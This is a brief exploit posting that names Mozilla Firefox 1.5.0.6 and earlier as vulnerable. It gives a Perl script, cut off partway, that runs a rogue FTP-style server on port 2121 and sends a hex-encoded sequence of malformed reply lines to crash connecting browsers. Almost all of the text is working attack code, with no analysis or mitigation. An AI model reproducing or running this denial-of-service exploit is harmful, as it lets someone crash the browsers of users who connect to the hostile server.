Vulnerable Systems:*Mozilla Firefox version 1.5.0.6 and prior.Exploit:#!/usr/bin/perl#author: tomas kempinskyuse strict;use Socket;my $port = shift || 2121;my $proto = getprotobyname('tcp');my $payload = "\x32\x32\x30\x20\x5a\x0d\x0a\x33". "\x33\x31\x20\x5a\x0d\x0a\x35\x30". "\x30\x20\x44\x6f\x53\x0d\x0a\x35". "\x30\x30\x20\x5a\x0d\x0a";socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1) or die "setsock: $!";my $paddr = sockaddr_in($port, INADDR_ANY); bind(SERVER, $paddr) or die "bind:...